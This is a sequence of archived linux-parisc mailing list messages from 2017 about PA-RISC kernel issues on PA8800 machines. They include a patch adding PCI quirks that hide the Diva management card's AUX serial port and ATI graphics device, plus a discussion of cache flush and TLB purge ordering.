 <53815372-58e8-70e2-bab4-1777e848cf5e@web.de>
 <79c110ec-2975-a827-4b9d-1351ab77779b@gmx.de>
 <d3c1e035-6486-c0b5-e87a-22d26c0c95f5@bell.net>
 <ccca0165-6c4a-97f3-2e0b-00657948c775@gmx.de>
 <897B27DE-04A1-4906-8DF2-C037393139C3@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------5EA2BED1207377F8349E9EC9"
X-Trace: blaine.gmane.org 1513003616 3125 195.159.176.226 (11 Dec 2017 14:46:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Dec 2017 14:46:56 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: Frank Scheiner <frank.scheiner@web.de>,
        debian-hppa@lists.debian.org,
        linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 11 15:46:51 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eOPM3-00083Q-DL
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Dec 2017 15:46:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751729AbdLKOq6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Dec 2017 09:46:58 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:58200 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750759AbdLKOq6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Dec 2017 09:46:58 -0500
Original-Received: from [10.95.171.110] ([155.56.40.73]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M4o41-1fGUTO0YM1-00yvwF; Mon, 11
 Dec 2017 15:46:51 +0100
In-Reply-To: <897B27DE-04A1-4906-8DF2-C037393139C3@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K0:N40zJ1T2dllPmBBDlNFqrfLdiVNDzLeomefUeLjbifLIFZ7LbDN
 eRBbRi5O0GP/BThAPfOnFC5jUAczefHeIldzxT+hphX8LYg4T/3kfZtF3IvsSEeE9uyS/of
 yBkYIEY85ZKD3Zrq2cMnZyH9glHS8uHbxpGjpWHKBKwknASv8ui0ip2YQTbceWLMGZ+pgak
 tve29/I+P80Mli7sMdZKg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:K4a59BnBKcw=:lkeJc7tNcE3Z1IljONiPRt
 a6QD5dsuJvuBfoNKa+/Q5o+Zh+MvMvIITAHFHbLiSnRORDc+RYFFRF2MZfKdqw888bTCzdv5h
 mKtgrZSCFoLyZEH1pwoyJ6iOrwc4IosWlLEjzWnIrRcDXlQbOukLZb1yJrwA3MxQ6FDoOZUoi
 IyLZQMwP3nTDDxV2k5vfo1VnrrIqb0blKpXkIvshBU92lgKWbwPODwDaZPg56u8R4epHWpbsQ
 RHhc8ApEgUnHye076ckXv0OIw5eh5P4wqAk/qN6hFoyc8HBMQtWbPhFlhzPwcs81L+Uw/bDf9
 1uYj1dlVE5hjDYVL8lCcsNZgQBUPyEDeD1XOWbgFeriH3Rwn8bfjnI8eTVxJeM2MLgUafzhwE
 AfzUCMeiy57OyfRHRk4FrAqTlzEqvk9XhKgep27fiZ8nK21e/ul9Qx4CtX04n7Mu7OSbxpJpT
 IvCaYNGA4mJgm/BtN+Zgs/UQ+30WybFejd2saBGniSotxpJ9Uefd+EKcOF/W8wL0UyscJkxxe
 o5W60L276uMdXRt129VKKcCJLmwIQusWwcb0Bybt+NMUxJzQBertg3D1SXgrca+xDObwbIgQn
 kAROXlHxE/lIlkHOT4+1t+B0g89Tl9Dafsn8SP2qjg81N7aKiYmUuYBhO7eaRwksBqYiKCvqf
 MUNxVN8EKI1IGSQBpq5CZmXiU6xRL647AYj567gm0pAxL+GOkScKy7vTYwHO6YnH7a5Ptms5w
 S3mS8KJ+w3W33LdAl5cNdrG0rQmPzVrffX50g3FiG2U6X5XRGp4fV7Of5NcBPw+oOKMjLuKO 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28048 gmane.linux.debian.ports.hppa:7653
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28048>

This is a multi-part message in MIME format.
--------------5EA2BED1207377F8349E9EC9
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit

On 10.12.2017 00:49, John David Anglin wrote:
> On 2017-12-09, at 4:03 PM, Helge Deller wrote:
> 
>> Can you please try attached patch which disables the serial MUX and ATI card?
>> If it works for you and if we backport it to all kernels and if we revert palo to use ttyS0 for all machines we might be good.
> 
> I hacked on the change but I couldn't get it to work.  As far as I can tell, the quirks aren't being called.
> Tried EARLY, HEADER and FINAL.  I think the ids are correct.

Strange. The attached patch does work for me on panama up until boot.
Haven't tested what lspci reports afterwards...

[    1.832294] LBA 0:7: PCI host bridge to bus 0000:e0
[    1.832497] pci_bus 0000:e0: root bus resource [io  0x60000-0x6ffff] (bus address [0x0000-0xffff])
[    1.833005] pci_bus 0000:e0: root bus resource [mem 0xfffffffff0000000-0xfffffffffe77ffff] (bus address [0xf0000000-0xfe77ffff])
[    1.840028] pci_bus 0000:e0: root bus resource [bus e0-e7]
     1.844276] subsystem_vendor = 0x103c, subsystem_device =0x1291
[    1.848022] pci 0000:e0:01.0: Hiding Diva built-in AUX serial device
     1.849136] subsystem_vendor = 0x103c, subsystem_device =0x1292
[    1.852023] pci 0000:e0:02.0: Hiding Diva built-in ATI card.
....

Helge

--------------5EA2BED1207377F8349E9EC9
Content-Type: text/plain; charset=UTF-8;
 name="p1"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="p1"

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index a25fed52f7e9..dbb4158cf098 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1692,3 +1692,45 @@ void lba_set_iregs(struct parisc_device *lba, u32 ibase, u32 imask)
 	iounmap(base_addr);
 }
 
+
+/*
+ * The design of the Diva management card in rp34x0 machines (rp3410, rp3440)
+ * seems rushed, so that many built-in components simply don't work.
+ * The following quirks disable the serial AUX port and the built-in ATI RV100
+ * Radeon 7000 graphics card which both don't have any external connectors and
+ * thus are useless, and even worse, e.g. the AUX ports occupies ttyS0 and
+ * as such makes those machines the only PARISC machines on which we can't
+ * use ttyS0 as boot console.
+ */
+static void quirk_diva_ati_card(struct pci_dev *dev)
+{
+	printk("subsystem_vendor = 0x%x, subsystem_device =0x%x\n",
+		dev->subsystem_vendor, dev->subsystem_device);
+
+	/* subsystem IDs are from Diva */
+	if (dev->subsystem_vendor != PCI_VENDOR_ID_HP ||
+	    dev->subsystem_device != 0x1292)
+		return;
+
+	dev_info(&dev->dev, "Hiding Diva built-in ATI card.");
+	dev->device = 0;
+}
+DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_ATI, PCI_DEVICE_ID_ATI_RADEON_QY,
+	quirk_diva_ati_card);
+
+static void quirk_diva_aux_disable(struct pci_dev *dev)
+{
+	printk("subsystem_vendor = 0x%x, subsystem_device =0x%x\n",
+		dev->subsystem_vendor, dev->subsystem_device);
+
+	/* subsystem IDs are from Diva */
+	if (dev->subsystem_vendor != PCI_VENDOR_ID_HP ||
+	    dev->subsystem_device != 0x1291)
+		return;
+
+	dev_info(&dev->dev, "Hiding Diva built-in AUX serial device");
+	dev->device = 0;
+}
+DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_DIVA_AUX,
+	quirk_diva_aux_disable);
+

--------------5EA2BED1207377F8349E9EC9--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: crashes in 4.10 because of "parisc: Enable KASLR"
Date: Mon, 11 Dec 2017 10:12:15 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <1aebd112-ac84-11fb-e3ab-246b5de4b823@bell.net>
References: <alpine.LRH.2.02.1702011234060.25046@file01.intranet.prod.int.rdu2.redhat.com>
 <b24dbc17-2e13-0630-7969-3d12fe8d11bb@gmx.de>
 <alpine.LRH.2.02.1702011507040.25889@file01.intranet.prod.int.rdu2.redhat.com>
 <53b0b36a-32cd-2421-7d45-0c8ea8cc1ac1@bell.net>
 <alpine.LRH.2.02.1712080619070.10139@file01.intranet.prod.int.rdu2.redhat.com>
 <7FD0E306-71B6-44B5-8803-E4465CBFF200@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1513005138 2270 195.159.176.226 (11 Dec 2017 15:12:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Dec 2017 15:12:18 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 11 16:12:11 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eOPkX-0004lZ-TA
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Dec 2017 16:12:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751622AbdLKPMR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Dec 2017 10:12:17 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:37502 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750759AbdLKPMQ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Dec 2017 10:12:16 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20171211151215.LBDJ8149.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 11 Dec 2017 10:12:15 -0500
Original-Received: from [192.168.0.138] (really [69.156.4.150]) by torspm02.bell.net
          with ESMTP
          id <20171211151215.QQDV31064.torspm02.bell.net@[192.168.0.138]>;
          Mon, 11 Dec 2017 10:12:15 -0500
In-Reply-To: <7FD0E306-71B6-44B5-8803-E4465CBFF200@bell.net>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=SNOtbKnH c=1 sm=0 tr=0 a=qcJ01mvJRsBFxS57W/i0lQ==:17 a=IkcTkHD0fZMA:10 a=ocR9PWop10UA:10 a=FBHGMhGWAAAA:8 a=WXUo_VeA9hiUoC80bd4A:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28049>

On 2017-12-10 4:42 PM, John David Anglin wrote:
> I had always wondered why this code is backwards:
>
> void flush_kernel_dcache_page_addr(void *addr)
> {
>          unsigned long flags;
>
>          flush_kernel_dcache_page_asm(addr);
>          purge_tlb_start(flags);
>          pdtlb_kernel(addr);
>          purge_tlb_end(flags);
> }
>
> I did try reversing the order yesterday and it it seemed to increase the number of random segmentation faults.
> As it stands, there is a bit of a race between the cache flush and the TLB purge.
Actually, the order is understandable given that 
flush_kernel_dcache_page_asm uses the same translation
as regular accesses.  So, purging the translation before the cache flush 
does nothing and speculation can
corrupt the cache.

I think there are a few places where we have the order wrong.

We might be able to use the tmpalias flush_dcache_page_asm routine for 
the above.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online...
Date: Mon, 11 Dec 2017 10:25:24 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <546d261a-f8de-f764-e6dc-8723fa95e46f@bell.net>
References: <2ADB5C8A-DFEB-4CA5-92BA-96E459A3575E@bell.net>
 <8314a5d6-7df7-3282-0d91-a9b414a122e0@web.de>
 <526274E4-88D8-4DF8-8F74-5B775186BBEC@bell.net>
 <cc22ee64-e9f3-aeb4-a9a0-a503f20f9634@web.de>
 <48320506-f7fa-822b-fb45-40eab1dbda02@bell.net>
 <17707adb-4f71-1d66-2a19-3cdfaff047f3@gmx.de>
 <53815372-58e8-70e2-bab4-1777e848cf5e@web.de>
 <79c110ec-2975-a827-4b9d-1351ab77779b@gmx.de>
 <d3c1e035-6486-c0b5-e87a-22d26c0c95f5@bell.net>
 <ccca0165-6c4a-97f3-2e0b-00657948c775@gmx.de>
 <897B27DE-04A1-4906-8DF2-C037393139C3@bell.net>
 <c7d0ee9d-0926-09a7-3a6d-22daf0c05a32@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1513005924 25487 195.159.176.226 (11 Dec 2017 15:25:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Dec 2017 15:25:24 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: Frank Scheiner <frank.scheiner@web.de>,
        debian-hppa@lists.debian.org,
        linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 11 16:25:19 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eOPxG-0004Mk-IF
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Dec 2017 16:25:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751585AbdLKPZ0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Dec 2017 10:25:26 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:41424 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750759AbdLKPZZ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Dec 2017 10:25:25 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171211152524.YHKH22355.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 11 Dec 2017 10:25:24 -0500
Original-Received: from [192.168.0.138] (really [69.156.4.150]) by mtlspm02.bell.net
          with ESMTP
          id <20171211152524.XMUQ6415.mtlspm02.bell.net@[192.168.0.138]>;
          Mon, 11 Dec 2017 10:25:24 -0500
In-Reply-To: <c7d0ee9d-0926-09a7-3a6d-22daf0c05a32@gmx.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=OZx3NlbY c=1 sm=0 tr=0 a=qcJ01mvJRsBFxS57W/i0lQ==:17 a=N659UExz7-8A:10 a=ocR9PWop10UA:10 a=FBHGMhGWAAAA:8 a=B3pWlZqlgQIsqv5E55QA:9 a=n6tD0_WPIvp9nddD:21 a=Gh4oLogXhxyCiqkR:21 a=pILNOxqGKmIA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28050 gmane.linux.debian.ports.hppa:7654
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28050>

On 2017-12-11 9:46 AM, Helge Deller wrote:
> On 10.12.2017 00:49, John David Anglin wrote:
>> On 2017-12-09, at 4:03 PM, Helge Deller wrote:
>>
>>> Can you please try attached patch which disables the serial MUX and ATI card?
>>> If it works for you and if we backport it to all kernels and if we revert palo to use ttyS0 for all machines we might be good.
>> I hacked on the change but I couldn't get it to work.  As far as I can tell, the quirks aren't being called.
>> Tried EARLY, HEADER and FINAL.  I think the ids are correct.
> Strange. The attached patch does work for me on panama up until boot.
> Haven't tested what lspci reports afterwards...
>
> [    1.832294] LBA 0:7: PCI host bridge to bus 0000:e0
> [    1.832497] pci_bus 0000:e0: root bus resource [io  0x60000-0x6ffff] (bus address [0x0000-0xffff])
> [    1.833005] pci_bus 0000:e0: root bus resource [mem 0xfffffffff0000000-0xfffffffffe77ffff] (bus address [0xf0000000-0xfe77ffff])
> [    1.840028] pci_bus 0000:e0: root bus resource [bus e0-e7]
>       1.844276] subsystem_vendor = 0x103c, subsystem_device =0x1291
> [    1.848022] pci 0000:e0:01.0: Hiding Diva built-in AUX serial device
>       1.849136] subsystem_vendor = 0x103c, subsystem_device =0x1292
> [    1.852023] pci 0000:e0:02.0: Hiding Diva built-in ATI card.
> ....

Maybe I messed up build in some way. I didn't clean things between 
builds. I never got the output shown above.
We have period at end of the second message.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online...
Date: Tue, 12 Dec 2017 10:59:09 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <c02fe6c5-9564-21ab-3012-a0a5d0509fc4@bell.net>
References: <2ADB5C8A-DFEB-4CA5-92BA-96E459A3575E@bell.net>
 <8314a5d6-7df7-3282-0d91-a9b414a122e0@web.de>
 <526274E4-88D8-4DF8-8F74-5B775186BBEC@bell.net>
 <cc22ee64-e9f3-aeb4-a9a0-a503f20f9634@web.de>
 <48320506-f7fa-822b-fb45-40eab1dbda02@bell.net>
 <17707adb-4f71-1d66-2a19-3cdfaff047f3@gmx.de>
 <53815372-58e8-70e2-bab4-1777e848cf5e@web.de>
 <79c110ec-2975-a827-4b9d-1351ab77779b@gmx.de>
 <d3c1e035-6486-c0b5-e87a-22d26c0c95f5@bell.net>
 <ccca0165-6c4a-97f3-2e0b-00657948c775@gmx.de>
 <897B27DE-04A1-4906-8DF2-C037393139C3@bell.net>
 <c7d0ee9d-0926-09a7-3a6d-22daf0c05a32@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1513094352 3870 195.159.176.226 (12 Dec 2017 15:59:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Dec 2017 15:59:12 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: Frank Scheiner <frank.scheiner@web.de>,
        debian-hppa@lists.debian.org,
        linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 12 16:59:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eOmxW-0000G1-AQ
	for glpp-linux-parisc@m.gmane.org; Tue, 12 Dec 2017 16:59:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752134AbdLLP7M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 12 Dec 2017 10:59:12 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:36411 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752553AbdLLP7K (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 12 Dec 2017 10:59:10 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171212155908.KWKS22355.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 12 Dec 2017 10:59:08 -0500
Original-Received: from [192.168.0.138] (really [69.156.4.150]) by mtlspm02.bell.net
          with ESMTP
          id <20171212155908.LNNG6415.mtlspm02.bell.net@[192.168.0.138]>;
          Tue, 12 Dec 2017 10:59:08 -0500
In-Reply-To: <c7d0ee9d-0926-09a7-3a6d-22daf0c05a32@gmx.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=OZx3NlbY c=1 sm=0 tr=0 a=qcJ01mvJRsBFxS57W/i0lQ==:17 a=N659UExz7-8A:10 a=ocR9PWop10UA:10 a=FBHGMhGWAAAA:8 a=JcX9OeByQJnCKLjlpyoA:9 a=pILNOxqGKmIA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28051 gmane.linux.debian.ports.hppa:7656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28051>

On 2017-12-11 9:46 AM, Helge Deller wrote:
> Strange. The attached patch does work for me on panama up until boot.
> Haven't tested what lspci reports afterwards...
Yes, it also works for me applied to v4.13.16. ttyS1 is now ttyS0. 
Haven't tried boot
without console argument yet.

lspci still sees the hidden devices which I think is good.

I removed period from one of the dev_info strings. We probably don't 
need printk's
that I added.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online... (serial port missing on v4.14)
Date: Tue, 12 Dec 2017 21:11:55 +0100
Lines: 173
Approved: news@gmane.org
Message-ID: <43eb21b5-75d9-1142-1307-c2e2d218b362@gmx.de>
References: <20171208190644.GA22228@ls3530.fritz.box>
 <1512980798.25007.581.camel@linux.intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1513109545 8995 195.159.176.226 (12 Dec 2017 20:12:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Dec 2017 20:12:25 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: debian-hppa@lists.debian.org
To: Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
        Frank Scheiner <frank.scheiner@web.de>,
        linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>,
        linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 12 21:12:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eOquZ-00020P-Sb
	for glpp-linux-parisc@m.gmane.org; Tue, 12 Dec 2017 21:12:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752531AbdLLUMZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 12 Dec 2017 15:12:25 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:64974 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752368AbdLLUMU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 12 Dec 2017 15:12:20 -0500
Original-Received: from [192.168.20.60] ([193.159.16.240]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MgbTj-1ee2Gz2hNf-00O0ik; Tue, 12
 Dec 2017 21:12:02 +0100
In-Reply-To: <1512980798.25007.581.camel@linux.intel.com>
Content-Language: en-US
X-Provags-ID: V03:K0:zlaiLSzvu7QBiKXLh6DPHJW8SjeQVdACk/KC0JxFBglFwUxenD5
 F7xJRL24HyyRNbQNeZT3k7zck7nV8UdLV49m0NAV0T9YCdBz8rlwcm6A+6PQeP2NqW22nlT
 0H5JmGyWUBYCVTGfVNOEtKhJS8JPKrrrL08SCE1o2+opYcd8MRJK8Zoe2h1oW3OhON+gdOq
 A4MBuqFTw281135zB91vw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:UgS11x5sctc=:hGpIkbslzI8Ial3x5kkY1+
 n4NaOTmC1Ah9+36LMWEO1WXkwfHRI5/XJnR/rAMPIDsb6tTsdDQsjukscIY3OBlQULxgOnw68
 aUV9dlPOFExZo3V57iazk9p+9TClPFk96eaEQgds6Ht9GLhIM1KmDy1peKYYKWp91yHjRY8bQ
 D3KVAVV5ZV1C3k9kRozNdMWpM6qvjdOivW83ulzA5lKsmSLxP1xopsn6Cey+4RXnVbeDS0pmp
 YWdl7+1p4/KKAuBNe7mZGZdwlu4rXJkiM2rfU/wghA/1KAUZDyFFXRSTcoLWrV1t90orlYk94
 Kui72d6s4ab+QNbAy9922pnOgipbHGXnJlv2JsPdDwr5dd/loHJ5KwpX3556ct2pWcqu9D1lQ
 Wd3uPsAS7R5UfkqMA4nTFBLuwpl0/VbF7ppdv2nvErbeslcN12xY8NxgDjwuo3lzqO+/AhBj4
 AXvWjXptxHny2TDmCZAFYm5Vf3rE2Uy+7vrK3vROrGWiwBBLUcsmHOKIkvZL1jVTqffxIZpfu
 s3xYf1CCuZj2G2+wg3GHnj0UmPlpSJCB/vp+rDw/WF8mCKj4JAKkoD7MWFFFJSIkc1irtwewN
 rSjfBUkc6OG82XmhkHDfsHU0LRKGf2r2s7z3/xQgCs1fzX0MtzTNZP0OO6/Do4k7juHK64Bpq
 w9c69nFK3OshrBxOMFhZWLUHbExdIy5lumzHX3+gd+C5ds3soZoJmHNKy0gF9EMBD04uLtmWj
 A6qWiy05NPSl2AjgaAzumt0VOjd57qZpYr0I1XKG7lEfteu7zhN2OCwUK18wjS+8+AcPFGtd 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28052 gmane.linux.serial:28125 gmane.linux.debian.ports.hppa:7657
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28052>

On 11.12.2017 09:26, Andy Shevchenko wrote:
> On Fri, 2017-12-08 at 20:06 +0100, Helge Deller wrote:
>>>> Anyway, the *only* problem we have right now is, that the Linux
>>>> kernel 4.14 doesn't detect all serial ports which were detected in
>>>> earlier kernels.
> 
>>>> Thus the kernel will talk to the non-existant serial port at
>>>> 0xfffffffff4050010 instead of 0xfffffffff4050000.
> 
> Wait, from this sentence you actually confirm that patch removes *non-
> existant* ports.
